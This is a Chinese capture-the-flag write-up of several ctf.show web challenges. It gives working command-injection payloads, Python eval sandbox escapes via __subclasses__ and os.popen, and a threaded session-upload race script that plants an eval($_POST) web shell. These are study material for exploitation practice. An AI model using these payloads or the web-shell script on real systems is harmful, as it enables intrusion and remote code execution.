原谅4
题目:
<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);
同过 ls /bin --> 只有这3个系统命令可用ls rm sh,所以我们可以用通过执行sh脚本来get-flag。
playload_1:
while read flag
do
echo $flag
done < /flag
# -e进行转义设置,\n换行,$表示原来的$
?xbx=echo -e "%23/bin/sh\nwhile read flag\ndo\necho \$flag\ndone < /flag" > get-flag
or
?xbx=echo "while read flag; do echo \$flag; done < /flag" > get-flag
?xbx=sh get-flag
playload_2:
1、
通过:ls /usr/local/bin 发现存在php,便可以使用php命令。
?xbx=php /flag
2、
echo "<?php echo file_get_contents('/flag');?>">get.php
echo "<?php include('/flag');?>">get.php
#-t 选项用于指定 PHP 文件的目录。
php get.php or php -t / get.php
等的方法,但不得行,可能是open_basedir的缘故。但由于可以自己写东西,那我们完全可以相仿文件上传,自己上传一个php.ini的配置文件,空的即可。
echo "">php.ini
or
>php.ini
#-c 选项用于指定 PHP 配置文件 (php.ini) 的路径。
执行:php -c php.ini get.php即可。
or
#-r 选项用于在命令行中直接执行 PHP 代码。
php -c php.ini -r "include('/flag');"
playload_3:
?xbx=sh /flag 2>%261
----coleak--
&需要编码为%26
重定向,一般来说1是正确输出,2是错误输出
我们在sh /flag 后面加上2>&1
代表将2(指的是错误输出)重定向到&1,这里&代表等价于,即2输出重定向到等价于1的位置
原谅5_fastapi2
说实话,还没有怎么了解fastapi,正好同过此机会好好了解下。
同过了解fastapi提供了一可交互界面,进入该界面dosc:
https://059824e9-aba8-4662-b5a6-be53142ed447.challenge.ctf.show/docs
嗯,有三个定义的函数。分别为hello、calc、yi5,前面的则对应其路由,和flask差不多的意思。
第一个hello就是我们打开题目所看到的。
第二个calc就有意思了。有安全的计算器v2(flag就在根目录,但我不相信你能得到她),并且,try in out 后还有可控的post q。
同过传参 ,证明了在这里存在过滤。
hint:
给你过滤的关键词又如何,['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr']
查看全局变量。
list(globals())
or
list(calc.__globals__)
or
list(hello.__globals__)
or
list(yl5.__globals__)
有一个可疑的变量名,查看。
list(youdontknow)
# 这里不能用print函数来查看,因为print()返回None
一堆的被过滤的关键字,通过别人的wp,得知,可以用clear()方法来清空这些过滤。
youdontknow.clear()
再次执行结果:
{
"res": [],
"err": false
}
大佬写的后端处理语句:
def calc(q: Optional[str] = Form(...)):
try:
for kiword in youdontknow:
if kiword in q:
return {"res": "hack out!", "err": False}
return {"res": eval(q), "err": False}
except:
return {"res": "", "err": True}
直接读取flag:
open('/flag').read()
{
"res": "ctfshow{0620ebfe-8b1d-46ff-98b9-f77b5474b2a5}\n",
"err": false
}
用ssti模板注入读flag:
使用内嵌函数调用eval:
import requests
url = 'https://beed0533-6386-4a69-871a-493f1989a119.challenge.ctf.show/ccccalcccc'
for i in range(1, 500):
# __builtins__内嵌函数
data = {
'q': "str(().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__'])",
}
r = requests.post(url, data=data)
if 'eval' in r.text:
print(i)
# {{str(}}().__class__.__base__.__subclasses__()[i].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()}}
rr = requests.post(url, data={'q': "str(().__class__.__base__.__subclasses__()[" + str(
i) + "].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('cat /f*').read()\"))"})
print(rr.text)
使用os模块:
import requests
url = 'https://beed0533-6386-4a69-871a-493f1989a119.challenge.ctf.show/ccccalcccc'
for i in range(1, 500):
data = {
'q': "str(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__)",
}
r = requests.post(url, data=data)
if ('os.py' and '\'os\':') in r.text:
print(i)
# # {{().__class__.__base__.__subclasses__()[204].__init__.__globals__['os'].popen("cat /flag").read()}}
rr = requests.post(url, data={'q': "str(str(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['os'].popen(\"cat /flag\").read()))"})
print(rr.text)
subprocess.Popen:
import requests
url = 'https://beed0533-6386-4a69-871a-493f1989a119.challenge.ctf.show/ccccalcccc'
for i in range(1, 500):
data = {
'q': "str(''.__class__.__base__.__subclasses__()["+str(i)+"])",
}
r = requests.post(url, data=data)
if 'subprocess.Popen' in r.text:
print(i)
# ''.__class__.__base__.__subclasses__()[220]('ls /',shell=True,stdout=-1).communicate()[0].strip()
rr = requests.post(url, data={'q': "''.__class__.__base__.__subclasses__()["+str(i)+"]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()"})
print(rr.text)
这里还想使用
_frozen_importlib.BuiltinImporter类(80)和linecache函数来执行(187、223....)
''.__class__.__base__.__subclasses__()[80]["load_module"]("os")["popen"]("cat /flag").read()
().__class__.__base__.__subclasses__()[233].__init__.__globals__['linecache']['os'].popen("cat /flag").read()
但是找到了相应的位置,但不知道为什么不能执行。
原谅6_web3
不会,看了大佬的wp,居然是.user.ini配合session条件竞争。晕
get:
?file=.user.ini
post:
content=auto_prepend_file=/tmp/sess_yyy
然后执行脚本:
# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading
sessid = 'yyy'
url = "http://505743eb-5b16-48cb-abd1-08ea7034a02e.challenge.ctf.show/"
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat ./flag.php');?>"},
files={'file': ('yyy.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.get(url+"waf.php")
if "upload_progress" in resp.text:
print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
# 第一步上传.user.ini文件,将我们的session文件内容添加到默认头
#y4tacker = {
# "content": "auto_prepend_file=/tmp/sess_" + sessid
#}
#session.post(url + "?file=.user.ini", data=y4tacker)
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
自己改了一下,建了一个后门,,感觉更方便。
import requests
import threading
sessid = 'getff'
url = "https://db49d7de-3505-4864-a302-45e6f103bd24.challenge.ctf.show/"
def write(session):
while True:
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php file_put_contents('shell.php','<?php eval($_POST[1]);?>');?>"},
files={'file': 'shell.php'},
cookies={'PHPSESSID': sessid}
)
def read(session):
while True:
r = session.get(url+"shell.php")
if "404 Not Found" not in r.text:
print(r.text)
break
session = requests.session()
data = {"content": "auto_prepend_file=/tmp/sess_"+sessid}
session.post(url+"?file=.user.ini", data=data)
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
https://db49d7de-3505-4864-a302-45e6f103bd24.challenge.ctf.show/shell.php
1=system('cat flag.php');
waf.php:
<?php
function waf_file($file){
if (!preg_match('/php|filter|\:|\%|\?|\.\./i', $file))
return true;
else{
die("i don't like u!?");
}
}
function waf_content($concent){
if ((!preg_match('/php|\<|\>|\?|\`|filter|\%|root|proc|log|\:|\./i', $concent))&&strlen($concent)<36)
return true;
else{
die("what are u donig?!");
}
}
?>
fastapi2 for 阿狸
嗯....和原谅5一样,非预期吧。(clear()清空)